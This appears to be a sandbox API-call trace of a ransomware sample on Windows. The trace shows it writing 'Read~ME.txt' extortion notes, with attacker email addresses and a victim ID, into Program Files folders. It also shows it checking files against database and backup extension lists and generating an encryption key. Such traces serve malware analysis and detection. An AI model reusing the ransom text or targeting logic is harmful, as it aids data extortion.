	[0078.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0078.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6568 | out: hHeap=0x300000) returned 1
	[0078.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b020 | out: hHeap=0x300000) returned 1
	[0078.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6568
	[0078.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.866] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.866] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.867] CloseHandle (hObject=0x120) returned 1
	[0078.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6568 | out: hHeap=0x300000) returned 1
	[0078.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f49a0 | out: hHeap=0x300000) returned 1
	[0078.868] RtlWakeConditionVariable () returned 0x365f70
	[0078.868] GetCurrentThreadId () returned 0x3a4
	[0078.868] GetCurrentThreadId () returned 0x3a4
	[0078.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b20c8 | out: hHeap=0x300000) returned 1
	[0078.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b170 | out: hHeap=0x300000) returned 1
	[0078.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b20c8
	[0078.868] lstrlenW (lpString=".scr") returned 4
	[0078.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".scr") returned 0x0
	[0078.868] lstrlenW (lpString=".cmd") returned 4
	[0078.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".cmd") returned 0x0
	[0078.868] lstrlenW (lpString=".dll") returned 4
	[0078.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".dll") returned 0x0
	[0078.868] lstrlenW (lpString=".bat") returned 4
	[0078.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".bat") returned 0x0
	[0078.868] lstrlenW (lpString=".cpl") returned 4
	[0078.868] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".cpl") returned 0x0
	[0078.869] lstrlenW (lpString=".sys") returned 4
	[0078.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".sys") returned 0x0
	[0078.869] lstrlenW (lpString=".msc") returned 4
	[0078.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".msc") returned 0x0
	[0078.869] lstrlenW (lpString=".com") returned 4
	[0078.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".com") returned 0x0
	[0078.869] lstrlenW (lpString=".lnk") returned 4
	[0078.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".lnk") returned 0x0
	[0078.869] lstrlenW (lpString=".msp") returned 4
	[0078.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".msp") returned 0x0
	[0078.869] lstrlenW (lpString=".pif") returned 4
	[0078.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch=".pif") returned 0x0
	[0078.869] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.869] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0078.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b20c8 | out: hHeap=0x300000) returned 1
	[0078.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0870 | out: hHeap=0x300000) returned 1
	[0078.869] RtlWakeConditionVariable () returned 0x365f70
	[0078.869] GetCurrentThreadId () returned 0x3a4
	[0078.869] GetCurrentThreadId () returned 0x3a4
	[0078.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2160 | out: hHeap=0x300000) returned 1
	[0078.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b1a8 | out: hHeap=0x300000) returned 1
	[0078.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0078.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.870] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.870] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.872] CloseHandle (hObject=0x120) returned 1
	[0078.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2160 | out: hHeap=0x300000) returned 1
	[0078.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0870 | out: hHeap=0x300000) returned 1
	[0078.873] RtlWakeConditionVariable () returned 0x365f70
	[0078.873] GetCurrentThreadId () returned 0x3a4
	[0078.873] GetCurrentThreadId () returned 0x3a4
	[0078.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f49a0
	[0078.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6808 | out: hHeap=0x300000) returned 1
	[0078.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b1e0 | out: hHeap=0x300000) returned 1
	[0078.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6808
	[0078.873] lstrlenW (lpString=".scr") returned 4
	[0078.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".scr") returned 0x0
	[0078.873] lstrlenW (lpString=".cmd") returned 4
	[0078.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".cmd") returned 0x0
	[0078.873] lstrlenW (lpString=".dll") returned 4
	[0078.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".dll") returned 0x0
	[0078.873] lstrlenW (lpString=".bat") returned 4
	[0078.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".bat") returned 0x0
	[0078.873] lstrlenW (lpString=".cpl") returned 4
	[0078.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".cpl") returned 0x0
	[0078.873] lstrlenW (lpString=".sys") returned 4
	[0078.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".sys") returned 0x0
	[0078.873] lstrlenW (lpString=".msc") returned 4
	[0078.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".msc") returned 0x0
	[0078.873] lstrlenW (lpString=".com") returned 4
	[0078.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".com") returned 0x0
	[0078.873] lstrlenW (lpString=".lnk") returned 4
	[0078.873] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".lnk") returned 0x0
	[0078.874] lstrlenW (lpString=".msp") returned 4
	[0078.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".msp") returned 0x0
	[0078.874] lstrlenW (lpString=".pif") returned 4
	[0078.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".pif") returned 0x0
	[0078.874] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0078.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0078.875] lstrlenW (lpString=".sqb") returned 4
	[0078.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".sqb") returned 0x0
	[0078.875] lstrlenW (lpString=".ost") returned 4
	[0078.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".ost") returned 0x0
	[0078.875] lstrlenW (lpString=".txt") returned 4
	[0078.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".txt") returned 0x0
	[0078.875] lstrlenW (lpString=".mdt") returned 4
	[0078.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".mdt") returned 0x0
	[0078.876] lstrlenW (lpString=".BDB") returned 4
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".BDB") returned 0x0
	[0078.876] lstrlenW (lpString=".eql") returned 4
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".eql") returned 0x0
	[0078.876] lstrlenW (lpString=".DBF") returned 4
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".DBF") returned 0x0
	[0078.876] lstrlenW (lpString=".EQL") returned 4
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".EQL") returned 0x0
	[0078.876] lstrlenW (lpString=".FDB") returned 4
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".FDB") returned 0x0
	[0078.876] lstrlenW (lpString=".EDB") returned 4
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".EDB") returned 0x0
	[0078.876] lstrlenW (lpString=".DACPAC") returned 7
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0078.876] lstrlenW (lpString=".VHD") returned 4
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".VHD") returned 0x0
	[0078.876] lstrlenW (lpString=".DBV") returned 4
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".DBV") returned 0x0
	[0078.876] lstrlenW (lpString=".dacpac") returned 7
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0078.876] lstrlenW (lpString=".sdf") returned 4
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".sdf") returned 0x0
	[0078.876] lstrlenW (lpString=".accdb") returned 6
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".accdb") returned 0x0
	[0078.876] lstrlenW (lpString=".DBX") returned 4
	[0078.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".DBX") returned 0x0
	[0078.877] lstrlenW (lpString=".MDT") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".MDT") returned 0x0
	[0078.877] lstrlenW (lpString=".SQB") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".SQB") returned 0x0
	[0078.877] lstrlenW (lpString=".vhd") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".vhd") returned 0x0
	[0078.877] lstrlenW (lpString=".bac") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".bac") returned 0x0
	[0078.877] lstrlenW (lpString=".mdf") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".mdf") returned 0x0
	[0078.877] lstrlenW (lpString=".BAK") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".BAK") returned 0x0
	[0078.877] lstrlenW (lpString=".BAC") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".BAC") returned 0x0
	[0078.877] lstrlenW (lpString=".dbs") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".dbs") returned 0x0
	[0078.877] lstrlenW (lpString=".vhdx") returned 5
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0078.877] lstrlenW (lpString=".NDF") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".NDF") returned 0x0
	[0078.877] lstrlenW (lpString=".dat") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".dat") returned 0x0
	[0078.877] lstrlenW (lpString=".DBS") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".DBS") returned 0x0
	[0078.877] lstrlenW (lpString=".CKP") returned 4
	[0078.877] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".CKP") returned 0x0
	[0078.878] lstrlenW (lpString=".edb") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".edb") returned 0x0
	[0078.878] lstrlenW (lpString=".PST") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".PST") returned 0x0
	[0078.878] lstrlenW (lpString=".dbf") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".dbf") returned 0x0
	[0078.878] lstrlenW (lpString=".SQL") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".SQL") returned 0x0
	[0078.878] lstrlenW (lpString=".pst") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".pst") returned 0x0
	[0078.878] lstrlenW (lpString=".dbv") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".dbv") returned 0x0
	[0078.878] lstrlenW (lpString=".SDF") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".SDF") returned 0x0
	[0078.878] lstrlenW (lpString=".dtxs") returned 5
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0078.878] lstrlenW (lpString=".db3") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".db3") returned 0x0
	[0078.878] lstrlenW (lpString=".OST") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".OST") returned 0x0
	[0078.878] lstrlenW (lpString=".dbx") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".dbx") returned 0x0
	[0078.878] lstrlenW (lpString=".DB3") returned 4
	[0078.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".DB3") returned 0x0
	[0078.879] lstrlenW (lpString=".DAT") returned 4
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".DAT") returned 0x0
	[0078.879] lstrlenW (lpString=".VHDX") returned 5
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0078.879] lstrlenW (lpString=".ndf") returned 4
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".ndf") returned 0x0
	[0078.879] lstrlenW (lpString=".DB") returned 3
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".DB") returned 0x0
	[0078.879] lstrlenW (lpString=".sql") returned 4
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".sql") returned 0x0
	[0078.879] lstrlenW (lpString=".MYD") returned 4
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".MYD") returned 0x0
	[0078.879] lstrlenW (lpString=".DBT") returned 4
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".DBT") returned 0x0
	[0078.879] lstrlenW (lpString=".ACCDB") returned 6
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0078.879] lstrlenW (lpString=".fdb") returned 4
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".fdb") returned 0x0
	[0078.879] lstrlenW (lpString=".bak") returned 4
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".bak") returned 0x0
	[0078.879] lstrlenW (lpString=".myd") returned 4
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".myd") returned 0x0
	[0078.879] lstrlenW (lpString=".DTXS") returned 5
	[0078.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0078.879] lstrlenW (lpString=".ckp") returned 4
	[0078.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".ckp") returned 0x0
	[0078.880] lstrlenW (lpString=".dbt") returned 4
	[0078.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".dbt") returned 0x0
	[0078.880] lstrlenW (lpString=".db") returned 3
	[0078.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".db") returned 0x0
	[0078.880] lstrlenW (lpString=".TXT") returned 4
	[0078.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".TXT") returned 0x0
	[0078.880] lstrlenW (lpString=".MDF") returned 4
	[0078.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".MDF") returned 0x0
	[0078.880] lstrlenW (lpString=".bdb") returned 4
	[0078.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".bdb") returned 0x0
	[0078.880] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0078.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.880] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0078.881] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.881] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0078.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0078.881] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19887157969) returned 1
	[0078.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x98e207b0, dwHighDateTime=0x1d60e1e)) 
	[0078.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0078.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0078.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0078.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b1e0
	[0078.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b1e0 | out: hHeap=0x300000) returned 1
	[0078.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6568
	[0078.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6568 | out: hHeap=0x300000) returned 1
